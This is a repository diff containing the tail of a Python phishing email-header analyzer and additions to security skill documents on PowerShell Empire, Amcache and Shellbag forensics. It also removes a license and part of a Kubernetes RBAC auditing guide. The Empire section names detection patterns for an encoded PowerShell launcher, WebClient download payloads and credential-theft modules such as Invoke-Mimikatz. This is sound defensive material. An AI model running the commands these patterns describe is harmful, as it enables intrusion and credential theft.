if from_match:
|
||||
hop.server_from = from_match.group(1)
|
||||
|
||||
by_match = re.search(r'by\s+([\w.\-]+)', received_value, re.IGNORECASE)
|
||||
if by_match:
|
||||
hop.server_by = by_match.group(1)
|
||||
|
||||
hop.ip_address = extract_ip_from_received(received_value)
|
||||
|
||||
date_match = re.search(r';\s*(.+)$', received_value)
|
||||
if date_match:
|
||||
hop.timestamp = date_match.group(1).strip()
|
||||
|
||||
proto_match = re.search(r'with\s+(ESMTP[SA]*|SMTP[SA]*|HTTP[S]?|LMTP)',
|
||||
received_value, re.IGNORECASE)
|
||||
if proto_match:
|
||||
hop.protocol = proto_match.group(1).upper()
|
||||
|
||||
return hop
|
||||
|
||||
|
||||
def parse_authentication_results(auth_header: str) -> AuthenticationResult:
|
||||
"""Parse Authentication-Results header."""
|
||||
result = AuthenticationResult()
|
||||
|
||||
spf_match = re.search(r'spf=(pass|fail|softfail|neutral|none|temperror|permerror)',
|
||||
auth_header, re.IGNORECASE)
|
||||
if spf_match:
|
||||
result.spf = spf_match.group(1).lower()
|
||||
|
||||
spf_domain_match = re.search(r'smtp\.mailfrom=([\w.\-@]+)', auth_header, re.IGNORECASE)
|
||||
if spf_domain_match:
|
||||
result.spf_domain = spf_domain_match.group(1)
|
||||
|
||||
dkim_match = re.search(r'dkim=(pass|fail|none|neutral|temperror|permerror)',
|
||||
auth_header, re.IGNORECASE)
|
||||
if dkim_match:
|
||||
result.dkim = dkim_match.group(1).lower()
|
||||
|
||||
dkim_domain_match = re.search(r'header\.[di]=([\w.\-]+)', auth_header, re.IGNORECASE)
|
||||
if dkim_domain_match:
|
||||
result.dkim_domain = dkim_domain_match.group(1)
|
||||
|
||||
dmarc_match = re.search(r'dmarc=(pass|fail|none|bestguesspass|temperror|permerror)',
|
||||
auth_header, re.IGNORECASE)
|
||||
if dmarc_match:
|
||||
result.dmarc = dmarc_match.group(1).lower()
|
||||
|
||||
dmarc_domain_match = re.search(r'header\.from=([\w.\-]+)', auth_header, re.IGNORECASE)
|
||||
if dmarc_domain_match:
|
||||
result.dmarc_domain = dmarc_domain_match.group(1)
|
||||
|
||||
compauth_match = re.search(r'compauth=(\w+)', auth_header, re.IGNORECASE)
|
||||
if compauth_match:
|
||||
result.compauth = compauth_match.group(1)
|
||||
|
||||
return result
|
||||
|
||||
|
||||
def geolocate_ip(ip_address: str) -> str:
|
||||
"""Geolocate an IP address using ip-api.com (free, no key required)."""
|
||||
if not HAS_REQUESTS or not ip_address:
|
||||
return "unknown"
|
||||
try:
|
||||
resp = requests.get(f"http://ip-api.com/json/{ip_address}",
|
||||
timeout=5,
|
||||
params={"fields": "country,city,org,status"})
|
||||
if resp.status_code == 200:
|
||||
data = resp.json()
|
||||
if data.get("status") == "success":
|
||||
return f"{data.get('city', '')}, {data.get('country', '')} ({data.get('org', '')})"
|
||||
except Exception:
|
||||
pass
|
||||
return "unknown"
|
||||
|
||||
|
||||
def reverse_dns_lookup(ip_address: str) -> str:
|
||||
"""Perform reverse DNS lookup on an IP address."""
|
||||
if not ip_address:
|
||||
return ""
|
||||
try:
|
||||
hostname = socket.gethostbyaddr(ip_address)
|
||||
return hostname[0]
|
||||
except (socket.herror, socket.gaierror, OSError):
|
||||
return ""
|
||||
|
||||
|
||||
def check_abuseipdb(ip_address: str, api_key: str = "") -> dict:
|
||||
"""Check IP against AbuseIPDB (requires API key)."""
|
||||
if not HAS_REQUESTS or not api_key or not ip_address:
|
||||
return {}
|
||||
try:
|
||||
headers = {"Key": api_key, "Accept": "application/json"}
|
||||
params = {"ipAddress": ip_address, "maxAgeInDays": "90"}
|
||||
resp = requests.get("https://api.abuseipdb.com/api/v2/check",
|
||||
headers=headers, params=params, timeout=10)
|
||||
if resp.status_code == 200:
|
||||
return resp.json().get("data", {})
|
||||
except Exception:
|
||||
pass
|
||||
return {}
|
||||
|
||||
|
||||
def analyze_indicators(analysis: HeaderAnalysis) -> list:
|
||||
"""Detect phishing indicators from parsed header data."""
|
||||
indicators = []
|
||||
|
||||
# Check From vs Return-Path mismatch
|
||||
if (analysis.from_domain and analysis.return_path_domain and
|
||||
analysis.from_domain != analysis.return_path_domain):
|
||||
indicators.append(PhishingIndicator(
|
||||
category="sender_mismatch",
|
||||
description=f"From domain ({analysis.from_domain}) differs from "
|
||||
f"Return-Path domain ({analysis.return_path_domain})",
|
||||
severity="high",
|
||||
raw_value=f"From: {analysis.from_domain}, Return-Path: {analysis.return_path_domain}"
|
||||
))
|
||||
|
||||
# Check From vs Reply-To mismatch
|
||||
if (analysis.from_domain and analysis.reply_to_domain and
|
||||
analysis.from_domain != analysis.reply_to_domain):
|
||||
indicators.append(PhishingIndicator(
|
||||
category="reply_to_mismatch",
|
||||
description=f"From domain ({analysis.from_domain}) differs from "
|
||||
f"Reply-To domain ({analysis.reply_to_domain})",
|
||||
severity="high",
|
||||
raw_value=f"From: {analysis.from_domain}, Reply-To: {analysis.reply_to_domain}"
|
||||
))
|
||||
|
||||
# Check SPF failure
|
||||
if analysis.authentication.spf in ("fail", "softfail"):
|
||||
indicators.append(PhishingIndicator(
|
||||
category="authentication_failure",
|
||||
description=f"SPF check returned {analysis.authentication.spf}",
|
||||
severity="high" if analysis.authentication.spf == "fail" else "medium",
|
||||
raw_value=f"spf={analysis.authentication.spf}"
|
||||
))
|
||||
|
||||
# Check DKIM failure
|
||||
if analysis.authentication.dkim == "fail":
|
||||
indicators.append(PhishingIndicator(
|
||||
category="authentication_failure",
|
||||
description="DKIM signature verification failed",
|
||||
severity="high",
|
||||
raw_value="dkim=fail"
|
||||
))
|
||||
|
||||
# Check DMARC failure
|
||||
if analysis.authentication.dmarc == "fail":
|
||||
indicators.append(PhishingIndicator(
|
||||
category="authentication_failure",
|
||||
description="DMARC policy check failed",
|
||||
severity="critical",
|
||||
raw_value="dmarc=fail"
|
||||
))
|
||||
|
||||
# Check for missing Message-ID
|
||||
if not analysis.message_id:
|
||||
indicators.append(PhishingIndicator(
|
||||
category="missing_header",
|
||||
description="Message-ID header is missing",
|
||||
severity="medium",
|
||||
raw_value=""
|
||||
))
|
||||
|
||||
# Check for suspicious X-Mailer
|
||||
suspicious_mailers = [
|
||||
"PHPMailer", "King Phisher", "GoPhish", "Swaks",
|
||||
"Sendinblue", "Mass Mailer", "Bulk Mailer"
|
||||
]
|
||||
if analysis.x_mailer:
|
||||
for mailer in suspicious_mailers:
|
||||
if mailer.lower() in analysis.x_mailer.lower():
|
||||
indicators.append(PhishingIndicator(
|
||||
category="suspicious_mailer",
|
||||
description=f"Suspicious X-Mailer detected: {analysis.x_mailer}",
|
||||
severity="high",
|
||||
raw_value=analysis.x_mailer
|
||||
))
|
||||
break
|
||||
|
||||
# Check for too few received hops (direct injection)
|
||||
if len(analysis.received_hops) <= 1:
|
||||
indicators.append(PhishingIndicator(
|
||||
category="routing_anomaly",
|
||||
description="Very few Received hops - possible direct SMTP injection",
|
||||
severity="medium",
|
||||
raw_value=f"Hop count: {len(analysis.received_hops)}"
|
||||
))
|
||||
|
||||
# Check for missing authentication results
|
||||
auth = analysis.authentication
|
||||
if auth.spf == "none" and auth.dkim == "none" and auth.dmarc == "none":
|
||||
indicators.append(PhishingIndicator(
|
||||
category="no_authentication",
|
||||
description="No email authentication results found (SPF, DKIM, DMARC all absent)",
|
||||
severity="high",
|
||||
raw_value=""
|
||||
))
|
||||
|
||||
return indicators
|
||||
|
||||
|
||||
def calculate_risk_score(indicators: list) -> tuple:
|
||||
"""Calculate risk score from indicators. Returns (score, level)."""
|
||||
severity_weights = {"critical": 30, "high": 20, "medium": 10, "low": 5}
|
||||
score = 0
|
||||
for indicator in indicators:
|
||||
score += severity_weights.get(indicator.severity, 0)
|
||||
|
||||
score = min(score, 100)
|
||||
|
||||
if score >= 70:
|
||||
level = "CRITICAL"
|
||||
elif score >= 50:
|
||||
level = "HIGH"
|
||||
elif score >= 30:
|
||||
level = "MEDIUM"
|
||||
elif score >= 10:
|
||||
level = "LOW"
|
||||
else:
|
||||
level = "CLEAN"
|
||||
|
||||
return score, level
|
||||
|
||||
|
||||
def analyze_headers(raw_headers: str, enrich: bool = False,
|
||||
abuseipdb_key: str = "") -> HeaderAnalysis:
|
||||
"""
|
||||
Main analysis function. Parses raw email headers and produces
|
||||
a complete HeaderAnalysis report.
|
||||
"""
|
||||
analysis = HeaderAnalysis()
|
||||
|
||||
# Calculate hash of raw input for evidence tracking
|
||||
analysis.file_hash = hashlib.sha256(raw_headers.encode()).hexdigest()
|
||||
|
||||
# Parse using Python's email library
|
||||
parser = HeaderParser()
|
||||
msg = parser.parsestr(raw_headers)
|
||||
|
||||
# Extract basic fields
|
||||
analysis.from_address = msg.get("From", "")
|
||||
analysis.from_domain = extract_domain(analysis.from_address)
|
||||
analysis.return_path = msg.get("Return-Path", "")
|
||||
analysis.return_path_domain = extract_domain(analysis.return_path)
|
||||
analysis.reply_to = msg.get("Reply-To", "")
|
||||
analysis.reply_to_domain = extract_domain(analysis.reply_to)
|
||||
analysis.message_id = msg.get("Message-ID", "")
|
||||
analysis.subject = msg.get("Subject", "")
|
||||
analysis.date = msg.get("Date", "")
|
||||
analysis.x_mailer = msg.get("X-Mailer", "") or msg.get("User-Agent", "")
|
||||
|
||||
# Extract X-Originating-IP
|
||||
x_orig = msg.get("X-Originating-IP", "")
|
||||
if x_orig:
|
||||
ip_match = re.search(r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})', x_orig)
|
||||
if ip_match:
|
||||
analysis.x_originating_ip = ip_match.group(1)
|
||||
|
||||
# Parse Received headers (they appear in reverse order)
|
||||
received_headers = msg.get_all("Received", [])
|
||||
for i, received in enumerate(received_headers):
|
||||
hop = parse_received_header(received, len(received_headers) - i)
|
||||
if enrich and hop.ip_address:
|
||||
hop.geo_location = geolocate_ip(hop.ip_address)
|
||||
hop.reverse_dns = reverse_dns_lookup(hop.ip_address)
|
||||
analysis.received_hops.append(hop)
|
||||
|
||||
# Reverse to chronological order (first hop first)
|
||||
analysis.received_hops.reverse()
|
||||
|
||||
# Parse Authentication-Results
|
||||
auth_results = msg.get("Authentication-Results", "")
|
||||
if auth_results:
|
||||
analysis.authentication = parse_authentication_results(auth_results)
|
||||
|
||||
# Also check ARC-Authentication-Results
|
||||
arc_auth = msg.get("ARC-Authentication-Results", "")
|
||||
if arc_auth and analysis.authentication.spf == "none":
|
||||
analysis.authentication = parse_authentication_results(arc_auth)
|
||||
|
||||
# Extract URLs from headers
|
||||
url_pattern = r'https?://[^\s<>"\')\]>]+'
|
||||
all_header_text = raw_headers
|
||||
analysis.urls_in_headers = list(set(re.findall(url_pattern, all_header_text)))
|
||||
|
||||
# Detect phishing indicators
|
||||
analysis.indicators = analyze_indicators(analysis)
|
||||
|
||||
# Calculate risk score
|
||||
analysis.risk_score, analysis.risk_level = calculate_risk_score(analysis.indicators)
|
||||
|
||||
# Enrich with threat intelligence if requested
|
||||
if enrich and analysis.x_originating_ip and abuseipdb_key:
|
||||
abuse_data = check_abuseipdb(analysis.x_originating_ip, abuseipdb_key)
|
||||
if abuse_data and abuse_data.get("abuseConfidenceScore", 0) > 50:
|
||||
analysis.indicators.append(PhishingIndicator(
|
||||
category="threat_intelligence",
|
||||
description=f"IP {analysis.x_originating_ip} has abuse confidence "
|
||||
f"score of {abuse_data['abuseConfidenceScore']}%",
|
||||
severity="critical",
|
||||
raw_value=json.dumps(abuse_data)
|
||||
))
|
||||
# Recalculate risk
|
||||
analysis.risk_score, analysis.risk_level = calculate_risk_score(analysis.indicators)
|
||||
|
||||
return analysis
|
||||
|
||||
|
||||
def format_report(analysis: HeaderAnalysis) -> str:
|
||||
"""Format analysis results as a human-readable report."""
|
||||
lines = []
|
||||
lines.append("=" * 70)
|
||||
lines.append(" PHISHING EMAIL HEADER ANALYSIS REPORT")
|
||||
lines.append("=" * 70)
|
||||
lines.append(f" Generated: {datetime.now(timezone.utc).isoformat()}")
|
||||
lines.append(f" Evidence Hash: {analysis.file_hash[:16]}...")
|
||||
lines.append("")
|
||||
|
||||
# Risk Assessment
|
||||
lines.append(f" RISK LEVEL: {analysis.risk_level} (Score: {analysis.risk_score}/100)")
|
||||
lines.append("-" * 70)
|
||||
|
||||
# Sender Information
|
||||
lines.append("\n[SENDER INFORMATION]")
|
||||
lines.append(f" From: {analysis.from_address}")
|
||||
lines.append(f" Return-Path: {analysis.return_path}")
|
||||
lines.append(f" Reply-To: {analysis.reply_to}")
|
||||
lines.append(f" Subject: {analysis.subject}")
|
||||
lines.append(f" Date: {analysis.date}")
|
||||
lines.append(f" Message-ID: {analysis.message_id}")
|
||||
lines.append(f" X-Mailer: {analysis.x_mailer}")
|
||||
if analysis.x_originating_ip:
|
||||
lines.append(f" Origin IP: {analysis.x_originating_ip}")
|
||||
|
||||
# Authentication Results
|
||||
lines.append("\n[AUTHENTICATION RESULTS]")
|
||||
auth = analysis.authentication
|
||||
spf_icon = "PASS" if auth.spf == "pass" else "FAIL" if auth.spf in ("fail", "softfail") else "NONE"
|
||||
dkim_icon = "PASS" if auth.dkim == "pass" else "FAIL" if auth.dkim == "fail" else "NONE"
|
||||
dmarc_icon = "PASS" if auth.dmarc == "pass" else "FAIL" if auth.dmarc == "fail" else "NONE"
|
||||
lines.append(f" SPF: {spf_icon} ({auth.spf}) domain={auth.spf_domain}")
|
||||
lines.append(f" DKIM: {dkim_icon} ({auth.dkim}) domain={auth.dkim_domain}")
|
||||
lines.append(f" DMARC: {dmarc_icon} ({auth.dmarc}) domain={auth.dmarc_domain}")
|
||||
|
||||
# Routing Path
|
||||
lines.append(f"\n[ROUTING PATH] ({len(analysis.received_hops)} hops)")
|
||||
for hop in analysis.received_hops:
|
||||
lines.append(f" Hop {hop.hop_number}: {hop.server_from} -> {hop.server_by}")
|
||||
if hop.ip_address:
|
||||
lines.append(f" IP: {hop.ip_address}")
|
||||
if hop.geo_location and hop.geo_location != "unknown":
|
||||
lines.append(f" Location: {hop.geo_location}")
|
||||
if hop.protocol:
|
||||
lines.append(f" Protocol: {hop.protocol}")
|
||||
if hop.timestamp:
|
||||
lines.append(f" Time: {hop.timestamp}")
|
||||
|
||||
# Phishing Indicators
|
||||
if analysis.indicators:
|
||||
lines.append(f"\n[PHISHING INDICATORS] ({len(analysis.indicators)} found)")
|
||||
for i, ind in enumerate(analysis.indicators, 1):
|
||||
lines.append(f" {i}. [{ind.severity.upper()}] {ind.description}")
|
||||
if ind.raw_value:
|
||||
lines.append(f" Value: {ind.raw_value}")
|
||||
else:
|
||||
lines.append("\n[PHISHING INDICATORS] None detected")
|
||||
|
||||
# URLs in Headers
|
||||
if analysis.urls_in_headers:
|
||||
lines.append(f"\n[URLS IN HEADERS] ({len(analysis.urls_in_headers)} found)")
|
||||
for url in analysis.urls_in_headers[:10]:
|
||||
lines.append(f" - {url}")
|
||||
|
||||
lines.append("\n" + "=" * 70)
|
||||
lines.append(" END OF REPORT")
|
||||
lines.append("=" * 70)
|
||||
|
||||
return "\n".join(lines)
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Analyze email headers for phishing indicators"
|
||||
)
|
||||
input_group = parser.add_mutually_exclusive_group(required=True)
|
||||
input_group.add_argument("--file", "-f", help="Path to file containing raw headers")
|
||||
input_group.add_argument("--eml", "-e", help="Path to .eml file")
|
||||
input_group.add_argument("--stdin", action="store_true", help="Read headers from stdin")
|
||||
|
||||
parser.add_argument("--enrich", action="store_true",
|
||||
help="Enrich with IP geolocation and reverse DNS")
|
||||
parser.add_argument("--abuseipdb-key", default="",
|
||||
help="AbuseIPDB API key for threat intelligence")
|
||||
parser.add_argument("--json", action="store_true",
|
||||
help="Output results as JSON")
|
||||
parser.add_argument("--output", "-o", help="Write report to file")
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
# Read input
|
||||
if args.stdin:
|
||||
raw_headers = sys.stdin.read()
|
||||
elif args.eml:
|
||||
with open(args.eml, "rb") as f:
|
||||
msg = BytesParser(policy=policy.default).parse(f)
|
||||
raw_headers = str(msg)
|
||||
else:
|
||||
with open(args.file, "r", encoding="utf-8", errors="replace") as f:
|
||||
raw_headers = f.read()
|
||||
|
||||
# Analyze
|
||||
analysis = analyze_headers(
|
||||
raw_headers,
|
||||
enrich=args.enrich,
|
||||
abuseipdb_key=args.abuseipdb_key
|
||||
)
|
||||
|
||||
# Output
|
||||
if args.json:
|
||||
output = json.dumps(asdict(analysis), indent=2, default=str)
|
||||
else:
|
||||
output = format_report(analysis)
|
||||
|
||||
if args.output:
|
||||
with open(args.output, "w", encoding="utf-8") as f:
|
||||
f.write(output)
|
||||
print(f"Report written to {args.output}")
|
||||
else:
|
||||
print(output)
|
||||
|
||||
# Exit code based on risk
|
||||
if analysis.risk_level in ("CRITICAL", "HIGH"):
|
||||
sys.exit(2)
|
||||
elif analysis.risk_level == "MEDIUM":
|
||||
sys.exit(1)
|
||||
else:
|
||||
sys.exit(0)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -15,6 +15,14 @@ license: Apache-2.0
|
||||
|
||||
PowerShell Empire is a post-exploitation framework consisting of listeners, stagers, and agents. Its artifacts leave detectable traces in Windows event logs, particularly PowerShell Script Block Logging (Event ID 4104) and Module Logging (Event ID 4103). This skill analyzes event logs for Empire's default launcher string (`powershell -noP -sta -w 1 -enc`), Base64 encoded payloads containing `System.Net.WebClient` and `FromBase64String`, known module invocations (Invoke-Mimikatz, Invoke-Kerberoast, Invoke-TokenManipulation), and staging URL patterns.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When investigating security incidents that require analyzing powershell empire artifacts
|
||||
- When building detection rules or threat hunting queries for this domain
|
||||
- When SOC analysts need structured procedures for this analysis type
|
||||
- When validating security monitoring coverage for related attack techniques
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Python 3.9+ with access to Windows Event Log or exported EVTX files
|
||||
|
||||
@@ -17,6 +17,21 @@ license: Apache-2.0
|
||||
Extract execution evidence from Amcache.hve including application paths,
|
||||
SHA-1 hashes, timestamps, and publisher metadata for DFIR investigations.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When investigating security incidents that require analyzing windows amcache artifacts
|
||||
- When building detection rules or threat hunting queries for this domain
|
||||
- When SOC analysts need structured procedures for this analysis type
|
||||
- When validating security monitoring coverage for related attack techniques
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Familiarity with digital forensics concepts and tools
|
||||
- Access to a test or lab environment for safe execution
|
||||
- Python 3.8+ with required dependencies installed
|
||||
- Appropriate authorization for any testing activities
|
||||
|
||||
## Example Output
|
||||
|
||||
```text
|
||||
|
||||
@@ -15,6 +15,21 @@ license: Apache-2.0
|
||||
|
||||
Shellbags are Windows registry artifacts that track how users interact with folders through Windows Explorer, storing view settings such as icon size, window position, sort order, and view mode. From a forensic perspective, Shellbags provide definitive evidence of folder access -- even folders that no longer exist on the system. When a user browses to a folder via Windows Explorer, the Open/Save dialog, or the Control Panel, a Shellbag entry is created or updated in the user's registry hive. These entries persist after folder deletion, drive disconnection, and even across user profile resets, making them invaluable for proving that a user navigated to specific directories on local drives, USB devices, network shares, or zip archives.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When investigating security incidents that require analyzing windows shellbag artifacts
|
||||
- When building detection rules or threat hunting queries for this domain
|
||||
- When SOC analysts need structured procedures for this analysis type
|
||||
- When validating security monitoring coverage for related attack techniques
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Familiarity with digital forensics concepts and tools
|
||||
- Access to a test or lab environment for safe execution
|
||||
- Python 3.8+ with required dependencies installed
|
||||
- Appropriate authorization for any testing activities
|
||||
|
||||
## Registry Locations
|
||||
|
||||
### Windows 7/8/10/11
|
||||
|
||||
@@ -1,201 +0,0 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -1,205 +0,0 @@
|
||||
---
|
||||
name: auditing-kubernetes-rbac-permissions
|
||||
description: Kubernetes Role-Based Access Control (RBAC) auditing systematically reviews roles, cluster roles, bindings, and service account permissions to identify overly permissive access, privilege escalation p
|
||||
domain: cybersecurity
|
||||
subdomain: container-security
|
||||
tags: [containers, kubernetes, security, RBAC, access-control]
|
||||
version: "1.0"
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
---
|
||||
# Auditing Kubernetes RBAC Permissions
|
||||
|
||||
## Overview
|
||||
|
||||
Kubernetes Role-Based Access Control (RBAC) auditing systematically reviews roles, cluster roles, bindings, and service account permissions to identify overly permissive access, privilege escalation paths, and violations of least-privilege principles. Tools like rbac-tool, KubiScan, and rakkess automate discovery of dangerous permission combinations.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Kubernetes cluster with RBAC enabled (default since 1.6)
|
||||
- kubectl with cluster-admin access for full audit
|
||||
- rbac-tool, rakkess, or KubiScan installed
|
||||
|
||||
## Core Concepts
|
||||
|
||||
### RBAC Components
|
||||
|
||||
| Resource | Scope | Purpose |
|
||||
|----------|-------|---------|
|
||||
| Role | Namespace | Grants permissions within a namespace |
|
||||
| ClusterRole | Cluster | Grants permissions cluster-wide |
|
||||
| RoleBinding | Namespace | Binds Role/ClusterRole to subjects in namespace |
|
||||
